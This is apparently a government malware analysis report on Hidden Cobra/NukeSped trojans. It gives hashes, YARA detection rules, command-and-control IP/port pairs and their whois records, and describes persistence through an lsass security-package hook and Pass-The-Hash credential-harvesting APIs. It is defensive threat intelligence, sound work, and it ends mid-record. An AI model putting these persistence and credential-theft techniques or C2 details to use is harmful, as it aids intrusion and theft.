Related_To 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 70902623c9... Related_To 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 70902623c9... Related_To 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d Description 'udbcgiut.dat' is dropped by three of the four PE32 executables. This file contains a 32byte unicode string uniquely generated for the infected system, as well as four socket pairs in hexidecimal. ---Begin Decoded Socket Pairs--- 197.211.212.59:443 181.39.135.126:443 112.175.92.57:7443 81.94.192.147:7443 ---End Decoded Socket Pairs--- The unicode string generated during this analysis was '8a9b11762b96c4b6'. The socket pairs remain the same for all instances of the malware. For the PE32 executables, 'udbcgiut.dat' was dropped in the victim's profile at %AppData%\\Local\\Temp. For the 64bit executables, 'udbcgiut.dat' was dropped in C:\\Windows. 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 Tags trojan Details Name C5DC53A540ABE95E02008A04A0D56D6C Size 241152 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 c5dc53a540abe95e02008a04a0d56d6c SHA1 4cfe9e353b1a91a2add627873846a3ad912ea96b SHA256 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA512 fc33c99facfbc98d164e63167353bdcff7c1704810e4bb64f7e56812412d84099b224086c04aea66e321cd546d8cf6f14196f5b58d5e931c68064d659c33b6a2 ssdeep 6144:LA5cWD93YuzTvLFOLoqbWbnuX7ZEAV6efA/Pawzq:Xc93YbLZEAV6mX Entropy 6.534884 Antivirus ESET a variant of Win32/NukeSped.AS trojan Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2017-06-04 21:31:07-04:00 Import Hash c76f6bb3f2ce6f4ce3e83448836f3ddd PE Sections MD5 Name Raw Size Entropy 64cb3246aafa83129f7fd6b25d572a9f header 1024 2.625229 e8c15e136370c12020eb23545085b9f6 .text 196096 6.431942 cf0eb4ad22ac1ca687b87a0094999ac8 .rdata 26624 5.990247 b246681e20b3c8ff43e1fcf6c0335287 .data 8192 4.116777 6545248a1e3449e95314cbc874837096 .rsrc 512 5.112624 31a7ab6f707799d327b8425f6693c220 .reloc 8704 5.176231 Packers/Compilers/Cryptors Microsoft Visual C++ ?.? Description This artifact is a malicious PE32 executable with similar characteristics of those described in 23E27E5482E3F55BF828DAB885569033 above. This artifact appears to be named 'lamp.exe'. The malware contains the following debug pathway: ---Begin Debug Pathway--- Z:\\Develop\\41.LampExe\\Release\\LampExe.pdb ---End Debug Pathway--- ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d Tags adwaretrojan Details Name BE588CD29B9DC6F8CFC4D0AA5E5C79AA Name ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d Size 267776 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 be588cd29b9dc6f8cfc4d0aa5e5c79aa SHA1 06be4fe1f26bc3e4bef057ec83ae81bd3199c7fc SHA256 ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d SHA512 c074ec876350b3ee3f82208041152c0ecf25cc8600c8277eec389c253c12372e78da59182a6df8331b05e0eefb07c142172951115a582606f68b824e1d48f30d ssdeep 6144:UEFpmt3md/iA3uiyzOvLFOLYqnHGZlDwf/OYy85eqmJKRPg:/PQ3mJxeigqi/OYy+/g Entropy 6.554499 Antivirus ESET a variant of Win32/NukeSped.AI trojan Filseclab Adware.Amonetize.heur.xjym.mg Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2017-06-06 10:33:38-04:00 Import Hash 8184d5d35e3a4640bb5d21698a4b6021 PE Sections MD5 Name Raw Size Entropy 59b5d567b9b7b9da0ca0936675fd95fe header 1024 2.658486 c0b6929e0f01a7b61bde3d7400a801e0 .text 218624 6.470188 ce1e5ab830fcfaa2d7bea92f56e9026e .rdata 27136 5.962575 006bad003b65738ed203a576205cc546 .data 8192 4.157373 992987e022da39fcdbeede8ddd48f226 .rsrc 3072 5.511870 4be460324f0f4dc1f6a0983752094cce .reloc 9728 5.303151 Packers/Compilers/Cryptors Microsoft Visual C++ ?.? Relationships ddea408e17... Connected_To 81.94.192.147 ddea408e17... Connected_To 112.175.92.57 ddea408e17... Connected_To 181.39.135.126 ddea408e17... Connected_To 197.211.212.59 ddea408e17... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 ddea408e17... Connected_To 81.94.192.10 Description This artifact is a malicious PE32 executable with similar characteristics of those described in 23E27E5482E3F55BF828DAB885569033 above. This program attempts to initiate a TLS Handshake to the four IP/Port pairs listed in 'udbcgiut.dat'. If the program is unable to establish a connection, the file 'udbcgiut.dat' is deleted. After 'udbcgiut.dat' is deleted, an outbound SSL connection is made to 81.94.192.10. The IP address is hard coded in the malware and are not randomly generated. This artifact also loads several APIs that are commonly associated with Pass-The-Hash (PTH) toolkits, indicating a capability to harvest user credentials and passwords. ---Begin Common PTH APIs--- SamiChangePasswordUser SamFreeMemory SamCloseHandle SamOpenUser SamLookupNamesInDomain SamOpenDomain SamConnect ---End Common PTH APIs--- 81.94.192.10 Whois Domain name: redstation.net.uk Registrant: Redstation Limited Registrant type: UK Limited Company, (Company number: 3590745) Registrant's address: 2 Frater Gate Business Park Aerodrome Road Gosport Hampshire PO13 0GW United Kingdom Data validation: Nominet was able to match the registrant's name and address against a 3rd party data source on 21-Feb-2017 Registrar: Easyspace Ltd [Tag = EASYSPACE] URL: https://www.easyspace.com/domain-names/extensions/uk Relevant dates: Registered on: 11-Apr-2005 Expiry date: 11-Apr-2019 Last updated: 12-Apr-2017 Registration status: Registered until expiry date. Name servers: ns1.redstation.com ns2.redstation.com Relationships 81.94.192.10 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d Description A high port to high port connection attempt is made to this IP address from 'Malware5.dll'. No domain is associated with the IP address. 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d Tags trojan Details Name 868036E102DF4CE414B0E6700825B319 Size 453791 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 868036e102df4ce414b0e6700825b319 SHA1 7f1e68d78e455aa14de9020abd2293c3b8ec6cf8 SHA256 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d SHA512 724d83493dbe86cfcee7f655272d2c733baa5470d7da986e956c789aa1b8f518ad94b575e655b4fe5f6f7d426b9aa7d8304fc879b82a385142b8924e0d454363 ssdeep 12288:eb/3G8vg+Rg1cvAHtE0MLa07rt5POui6z:+/3G8vg+pvi9Sa07rt4ui6z Entropy 7.713852 Antivirus NANOAV Trojan.Win64.Crypted.excqpl Yara Rules No matches found. ssdeep Matches 90 890d3928be0f36b1f4dcfffb20ac3747a31451ce010caba768974bfccdc26e7c PE Metadata Compile Date 2017-06-06 10:54:03-04:00 Import Hash 947a389c3886c5fa7f3e972fd4d7740c PE Sections MD5 Name Raw Size Entropy e772c7a04c7e3d53c58fdb8a88bb0c02 header 1024 2.486400 a6a2750e5b57470403299e0327553042 .text 34816 6.297430 cc5d69374e9b0266a4b1119e5274d392 .rdata 12288 4.715650 ac4ee21fcb2501656efc217d139ec804 .data 5120 1.876950 359af12d4a14ced423d39736dfec613a .pdata 2560 3.878158 097e0e4be076b795a7316f1746bace8a .rsrc 3072 5.514584 5849f380266933d6f3c5c4740334b041 .reloc 1024 2.517963 Packers/Compilers/Cryptors Microsoft Visual C++ 8.0 (DLL) Relationships 12480585e0... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 12480585e0... Dropped 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description This artifact is a malicious x64 executable with similar characteristics of those described in 23E27E5482E3F55BF828DAB885569033 above. In addition to the capabilities described above, this variant will hook the Windows Local Security Authority (lsass.exe). 'lsass.exe' will check the registry for the data value 'rdpproto' under the key SYSTEM\\CurrentControlSet\\Control\\Lsa Name: Security Packages. If not found, this value is added by 'lsass.exe'. Next, the malware will drop the embedded file, 'rdpproto.dll' into the %System32% directory. The file, 'udbcgiut.dat' is then written to C:\\Windows. Outbound connection attempts are made to the socket pairs found within this file as described above. 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Tags trojan Details Name rdpproto.dll Size 391680 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 dc268b166fe4c1d1c8595dccf857c476 SHA1 8264556c8a6e460760dc6bb72ecc6f0f966a16b8 SHA256 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 SHA512 b47c4caa0b5c17c982fcd040c7171d36ec962fe32e9b8bec567ee14b187507fe90e026aa05eec17d36c49a924eeaed55e66c95a111cfa9dcae0e305ab9515cac ssdeep 6144:jfsTC8amAXJeZP6BPjIDeLkigDxcvAHjVXjhtBGshMLa1Mj7rtlkiP60dwtudIye:jvg+Rg1cvAHtE0MLa07rt5POui6 Entropy 7.893665 Antivirus Avira TR/Crypt.XPACK.xuqld BitDefender Trojan.Generic.22790108 ESET a variant of Generik.MYWMFCM trojan Emsisoft Trojan.Generic.22790108 (B) Ikarus Trojan.SuspectCRC NANOAV Trojan.Win64.Crypted.excqpl Yara Rules No matches found. ssdeep Matches 99 890d3928be0f36b1f4dcfffb20ac3747a31451ce010caba768974bfccdc26e7c PE Metadata Compile Date 2017-06-06 11:34:06-04:00 Import Hash 360d26520c50825099ec61e97b01a43b PE Sections MD5 Name Raw Size Entropy 3bb2a7d6aab283c82ab853f536157ce2 header 1024 2.524087 b0bf8ec7b067fd3592c0053702e34504 .text 23552 6.180871 6cc98c5fef3ea1b782262e355b5c5862 .rdata 10752 4.635336 484d4698d46b3b5ad033c1a80ba83acf .data 4096 2.145716 a07c8f17c18c6789a3e757aec183aea6 .pdata 2048 3.729952 fae0d0885944745d98849422bd799457 .rsrc 348672 7.997488 0c1c23e1fb129b1b1966f70fc75cf20e .reloc 1536 1.737829 Relationships 49757cf856... Dropped_By 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d 49757cf856... Connected_To 21.252.107.198 49757cf856... Connected_To 70.224.36.194 49757cf856... Connected_To 113.114.117.122 49757cf856... Connected_To 47.206.4.145 49757cf856... Connected_To 84.49.242.125 49757cf856... Connected_To 26.165.218.44 49757cf856... Connected_To 137.139.135.151 49757cf856... Connected_To 97.90.44.200 49757cf856... Connected_To 128.200.115.228 49757cf856... Connected_To 186.169.2.237 Description ""rdpproto.dll"" is dropped into the %System32% directory by 868036E102DF4CE414B0E6700825B319. When the library is loaded, ""rdpproto.dll"" will attempt to send SSL Client Hello packets to any of the following embedded IP addresses: ---Begin Embedded IP Addresses--- 21.252.107.198 70.224.36.194 113.114.117.122 47.206.4.145 84.49.242.125 26.165.218.44 137.139.135.151 97.90.44.200 128.200.115.228 186.169.2.237 ---End Embedded IP Addresses--- This artifact contains the following notable strings: ---Begin Notable Strings--- CompanyName Adobe System Incorporated FileDescription MicrosoftWindows TransFilter/FilterType : 01 WindowsNT Service FileVersion 6.1 Build 7601 InternalName TCP/IP Packet Filter Service LegalCopyright Copyright 2015 - Adobe System Incorporated LegalTrademarks OriginalFileName TCP/IP - PacketFilter ---End Notable Strings--- 21.252.107.198 Ports 23164 TCP Whois NetRange: 21.0.0.0 - 21.255.255.255 CIDR: 21.0.0.0/8 NetName: DNIC-SNET-021 NetHandle: NET-21-0-0-0-1 Parent: () NetType: Direct Allocation OriginAS: Organization: DoD Network Information Center (DNIC) RegDate: 1991-06-30 Updated: 2009-06-19 Ref: https://whois.arin.net/rest/net/NET-21-0-0-0-1 OrgName: DoD Network Information Center OrgId: DNIC Address: 3990 E. Broad Street City: Columbus StateProv: OH PostalCode: 43218 Country: US RegDate: Updated: 2011-08-17 Ref: https://whois.arin.net/rest/org/DNIC Relationships 21.252.107.198 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 21.252.107.198 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 70.224.36.194 Ports 59681 TCP Whois Domain Name: AMERITECH.NET Registry Domain ID: 81816_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.corporatedomains.com Registrar URL: http://www.cscglobal.com/global/web/csc/digital-brand-services.html Updated Date: 2017-06-09T05:27:34Z Creation Date: 1996-06-14T04:00:00Z Registry Expiry Date: 2018-06-13T04:00:00Z Registrar: CSC Corporate Domains, Inc. Registrar IANA ID: 299 Registrar Abuse Contact Email: domainabuse@cscglobal.com Registrar Abuse Contact Phone: 8887802723 Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Name Server: NS1.ATTDNS.COM Name Server: NS2.ATTDNS.COM Name Server: NS3.ATTDNS.COM Name Server: NS4.ATTDNS.COM DNSSEC: unsigned Domain Name: ameritech.net Registry Domain ID: 81816_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.corporatedomains.com Registrar URL: www.cscprotectsbrands.com Updated Date: 2017-06-09T05:27:34Z Creation Date: 1996-06-14T04:00:00Z Registrar Registration Expiration Date: 2018-06-13T04:00:00Z Registrar: CSC CORPORATE DOMAINS, INC. Registrar IANA ID: 299 Registrar Abuse Contact Email: domainabuse@cscglobal.com Registrar Abuse Contact Phone: +1.8887802723 Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited Registry Registrant ID: Registrant Name: Domain Administrator Registrant Organization: AT&T SERVICES, INC. Registrant Street: 801 Chestnut Street Registrant City: Saint Louis Registrant State/Province: MO Registrant Postal Code: 63101 Registrant Country: US Registrant Phone: +1.3142358168 Registrant Phone Ext: Registrant Fax: +1.3142358168 Registrant Fax Ext: Registrant Email: att-domains@att.com Registry Admin ID: Admin Name: Domain Administrator Admin Organization: AT&T SERVICES, INC. Admin Street: 801 Chestnut Street Admin City: Saint Louis Admin State/Province: MO Admin Postal Code: 63101 Admin Country: US Admin Phone: +1.3142358168 Admin Phone Ext: Admin Fax: +1.3142358168 Admin Fax Ext: Admin Email: att-domains@att.com Registry Tech ID: Tech Name: Domain Administrator Tech Organization: AT&T SERVICES, INC. Tech Street: 801 Chestnut Street Tech City: Saint Louis Tech State/Province: MO Tech Postal Code: 63101 Tech Country: US Tech Phone: +1.3142358168 Tech Phone Ext: Tech Fax: +1.3142358168 Tech Fax Ext: Tech Email: att-domains@att.com Name Server: ns3.attdns.com Name Server: ns1.attdns.com Name Server: ns2.attdns.com Name Server: ns4.attdns.com DNSSEC: unsigned Relationships 70.224.36.194 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 70.224.36.194 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 113.114.117.122 Ports 23397 TCP Whois inetnum: 113.112.0.0 - 113.119.255.255 netname: CHINANET-GD descr: CHINANET Guangdong province network descr: Data Communication Division descr: China Telecom country: CN admin-c: CH93-AP tech-c: IC83-AP remarks: service provider status: ALLOCATED PORTABLE mnt-by: APNIC-HM mnt-lower: MAINT-CHINANET-GD mnt-routes: MAINT-CHINANET-GD last-modified: 2016-05-04T00:15:17Z source: APNIC mnt-irt: IRT-CHINANET-CN irt: IRT-CHINANET-CN address: No.31 ,jingrong street,beijing address: 100032 e-mail: anti-spam@ns.chinanet.cn.net abuse-mailbox: anti-spam@ns.chinanet.cn.net admin-c: CH93-AP tech-c: CH93-AP auth: # Filtered mnt-by: MAINT-CHINANET last-modified: 2010-11-15T00:31:55Z source: APNIC person: Chinanet Hostmaster nic-hdl: CH93-AP e-mail: anti-spam@ns.chinanet.cn.net address: No.31 ,jingrong street,beijing address: 100032 phone: +86-10-58501724 fax-no: +86-10-58501724 country: CN mnt-by: MAINT-CHINANET last-modified: 2014-02-27T03:37:38Z source: APNIC person: IPMASTER CHINANET-GD nic-hdl: IC83-AP e-mail: gdnoc_HLWI@189.cn address: NO.18,RO. ZHONGSHANER,YUEXIU DISTRIC,GUANGZHOU phone: +86-20-87189274 fax-no: +86-20-87189274 country: CN mnt-by: MAINT-CHINANET-GD remarks: IPMASTER is not for spam complaint,please send spam complaint to abuse_gdnoc@189.cn abuse-mailbox: antispam_gdnoc@189.cn last-modified: 2014-09-22T04:41:26Z source: APNIC Relationships 113.114.117.122 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 113.114.117.122 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 47.206.4.145 Ports 59067 TCP Whois Domain Name: FRONTIERNET.NET Registry Domain ID: 4305589_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.register.com Registrar URL: http://www.register.com Updated Date: 2017-09-14T07:53:05Z Creation Date: 1995-10-14T04:00:00Z Registry Expiry Date: 2018-10-13T04:00:00Z Registrar: Register.com, Inc. Registrar IANA ID: 9 Registrar Abuse Contact Email: abuse@web.com Registrar Abuse Contact Phone: +1.8003337680 Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Name Server: AUTH.DLLS.PA.FRONTIERNET.NET Name Server: AUTH.FRONTIERNET.NET Name Server: AUTH.LKVL.MN.FRONTIERNET.NET Name Server: AUTH.ROCH.NY.FRONTIERNET.NET DNSSEC: unsigned Domain Name: FRONTIERNET.NET Registry Domain ID: 4305589_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.register.com Registrar URL: www.register.com Updated Date: 2017-09-14T00:53:05.00Z Creation Date: 1995-10-14T04:00:00.00Z Registrar Registration Expiration Date: 2018-10-13T04:00:00.00Z Registrar: REGISTER.COM, INC. Registrar IANA ID: 9 Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited Registry Registrant ID: Registrant Name: FRONTIERNET HOSTMASTER Registrant Organization: Registrant Street: 95 N. FITZHUGH ST. Registrant City: ROCHESTER Registrant State/Province: NY Registrant Postal Code: 14614-1212 Registrant Country: US Registrant Phone: +1.8664747662 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: HOSTMASTER@FRONTIERNET.NET Registry Admin ID: Admin Name: FRONTIERNET HOSTMASTER Admin Organization: Admin Street: 95 N. FITZHUGH ST. Admin City: ROCHESTER Admin State/Province: NY Admin Postal Code: 14614-1212 Admin Country: US Admin Phone: +1.8664747662 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: HOSTMASTER@FRONTIERNET.NET Registry Tech ID: Tech Name: FRONTIERNET HOSTMASTER Tech Organization: Tech Street: 95 N. FITZHUGH ST. Tech City: ROCHESTER Tech State/Province: NY Tech Postal Code: 14614-1212 Tech Country: US Tech Phone: +1.8664747662 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: HOSTMASTER@FRONTIERNET.NET Name Server: AUTH.DLLS.PA.FRONTIERNET.NET Name Server: AUTH.FRONTIERNET.NET Name Server: AUTH.LKVL.MN.FRONTIERNET.NET Name Server: AUTH.ROCH.NY.FRONTIERNET.NET DNSSEC: unSigned Relationships 47.206.4.145 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 47.206.4.145 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 84.49.242.125 Ports 17770 TCP Whois Domain Name: NEXTGENTEL.COM Registry Domain ID: 13395561_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.domaininfo.com Registrar URL: http://www.ports.domains Updated Date: 2017-11-10T23:44:50Z Creation Date: 1999-11-17T15:47:51Z Registry Expiry Date: 2018-11-17T15:47:51Z Registrar: Ports Group AB Registrar IANA ID: 73 Registrar Abuse Contact Email: abuse@portsgroup.se Registrar Abuse Contact Phone: +46.707260017 Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Name Server: ANYADNS1.NEXTGENTEL.NET Name Server: ANYADNS2.NEXTGENTEL.NET DNSSEC: unsigned Domain Name: nextgentel.com Registry Domain ID: 13395561_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.domaininfo.com Registrar URL: ports.domains Updated Date: 2017-11-10T23:44:50Z Creation Date: 1999-11-17T15:47:51Z Registrar Registration Expiration Date: 2018-11-17T15:47:51Z Registrar: PortsGroup AB Registrar IANA ID: 73 Registrar Abuse Contact Email: abuse@portsgroup.se Registrar Abuse Contact Phone: +46.317202000 Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Registry Registrant ID: Registrant Name: Hostmaster Registrant Organization: NextGenTel AS Registrant Street: Sandslimarka 31 Registrant City: SANDSLI Registrant State/Province: Registrant Postal Code: 5254 Registrant Country: NO Registrant Phone: +47.55527900 Registrant Fax: +47.55527910 Registrant Email: hostmaster@nextgentel.com Registry Admin ID: Admin Name: Hostmaster Admin Organization: NextGenTel AS Admin Street: Sandslimarka 31 Admin City: Sandsli Admin State/Province: Admin Postal Code: 5254 Admin Country: NO Admin Phone: +47.55527900 Admin Fax: +47.55527910 Admin Email: hostmaster@nextgentel.com Registry Tech ID: Tech Name: Hostmaster v/ Eivind Olsen Tech Organization: NextGenTel AS Tech Street: Postboks 3 Sandsli Tech City: Bergen Tech State/Province: Tech Postal Code: 5861 Tech Country: NO Tech Phone: +47.41649322 Tech Fax: +47.55527910 Tech Email: hostmaster@nextgentel.com Name Server: ANYADNS1.NEXTGENTEL.NET Name Server: ANYADNS2.NEXTGENTEL.NET DNSSEC: unsigned Relationships 84.49.242.125 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 84.49.242.125 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 26.165.218.44 Ports 2248 TCP Whois NetRange: 26.0.0.0 - 26.255.255.255 CIDR: 26.0.0.0/8 NetName: DISANET26 NetHandle: NET-26-0-0-0-1 Parent: () NetType: Direct Allocation OriginAS: Organization: DoD Network Information Center (DNIC) RegDate: 1995-04-30 Updated: 2009-06-19 Ref: https://whois.arin.net/rest/net/NET-26-0-0-0-1 OrgName: DoD Network Information Center OrgId: DNIC Address: 3990 E. Broad Street City: Columbus StateProv: OH PostalCode: 43218 Country: US RegDate: Updated: 2011-08-17 Ref: https://whois.arin.net/rest/org/DNIC OrgTechHandle: MIL-HSTMST-ARIN OrgTechName: Network DoD OrgTechPhone: +1-844-347-2457 OrgTechEmail: disa.columbus.ns.mbx.hostmaster-dod-nic@mail.mil OrgTechRef: https://whois.arin.net/rest/poc/MIL-HSTMST-ARIN OrgAbuseHandle: REGIS10-ARIN OrgAbuseName: Registration OrgAbusePhone: +1-844-347-2457 OrgAbuseEmail: disa.columbus.ns.mbx.arin-registrations@mail.mil OrgAbuseRef: https://whois.arin.net/rest/poc/REGIS10-ARIN OrgTechHandle: REGIS10-ARIN OrgTechName: Registration OrgTechPhone: +1-844-347-2457 OrgTechEmail: disa.columbus.ns.mbx.arin-registrations@mail.mil OrgTechRef: https://whois.arin.net/rest/poc/REGIS10-ARIN Relationships 26.165.218.44 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 26.165.218.44 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 137.139.135.151 Ports 64694 TCP Whois NetRange: 137.139.0.0 - 137.139.255.255 CIDR: 137.139.0.0/16 NetName: SUC-OLDWEST NetHandle: NET-137-139-0-0-1 Parent: NET137 (NET-137-0-0-0-0) NetType: Direct Assignment OriginAS: Organization: SUNY College at Old Westbury (SCAOW) RegDate: 1989-11-29 Updated: 2014-02-18 Ref: https://whois.arin.net/rest/net/NET-137-139-0-0-1 OrgName: SUNY College at Old Westbury OrgId: SCAOW Address: 223 Store Hill Road City: Old Westbury StateProv: NY PostalCode: 11568 Country: US RegDate: 1989-11-29 Updated: 2011-09-24 Ref: https://whois.arin.net/rest/org/SCAOW OrgTechHandle: SUNYO-ARIN OrgTechName: SUNYOWNOC OrgTechPhone: +1-516-876-3379 OrgTechEmail: sunyownoc@oldwestbury.edu OrgTechRef: https://whois.arin.net/rest/poc/SUNYO-ARIN OrgAbuseHandle: SUNYO-ARIN OrgAbuseName: SUNYOWNOC OrgAbusePhone: +1-516-876-3379 OrgAbuseEmail: sunyownoc@oldwestbury.edu OrgAbuseRef: https://whois.arin.net/rest/poc/SUNYO-ARIN RAbuseHandle: SUNYO-ARIN RAbuseName: SUNYOWNOC RAbusePhone: +1-516-876-3379 RAbuseEmail: sunyownoc@oldwestbury.edu RAbuseRef: https://whois.arin.net/rest/poc/SUNYO-ARIN RTechHandle: SUNYO-ARIN RTechName: SUNYOWNOC RTechPhone: +1-516-876-3379 RTechEmail: sunyownoc@oldwestbury.edu RTechRef: https://whois.arin.net/rest/poc/SUNYO-ARIN RNOCHandle: SUNYO-ARIN RNOCName: SUNYOWNOC RNOCPhone: +1-516-876-3379 RNOCEmail: sunyownoc@oldwestbury.edu RNOCRef: https://whois.arin.net/rest/poc/SUNYO-ARIN Relationships 137.139.135.151 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 137.139.135.151 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 97.90.44.200 Ports 37120 TCP Whois Domain Name: CHARTER.COM Registry Domain ID: 340223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.markmonitor.com Registrar URL: http://www.markmonitor.com Updated Date: 2017-07-03T04:22:18Z Creation Date: 1994-07-30T04:00:00Z Registry Expiry Date: 2019-07-29T04:00:00Z Registrar: MarkMonitor Inc. Registrar IANA ID: 292 Registrar Abuse Contact Email: abusecomplaints@markmonitor.com Registrar Abuse Contact Phone: +1.2083895740 Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited Name Server: NS1.CHARTER.COM Name Server: NS2.CHARTER.COM Name Server: NS3.CHARTER.COM Name Server: NS4.CHARTER.COM DNSSEC: unsigned Domain Name: charter.com Registry Domain ID: 340223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.markmonitor.com Registrar URL: http://www.markmonitor.com Updated Date: 2017-12-18T04:00:14-0800 Creation Date: 1994-07-29T21:00:00-0700 Registrar Registration Expiration Date: 2019-07-28T21:00:00-0700 Registrar: MarkMonitor, Inc. Registrar IANA ID: 292 Registrar Abuse Contact Email: abusecomplaints@markmonitor.com Registrar Abuse Contact Phone: +1.2083895740 Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited) Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited) Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited) Registry Registrant ID: Registrant Name: Domain Admin Registrant Organization: Charter Communications Operating, LLC Registrant 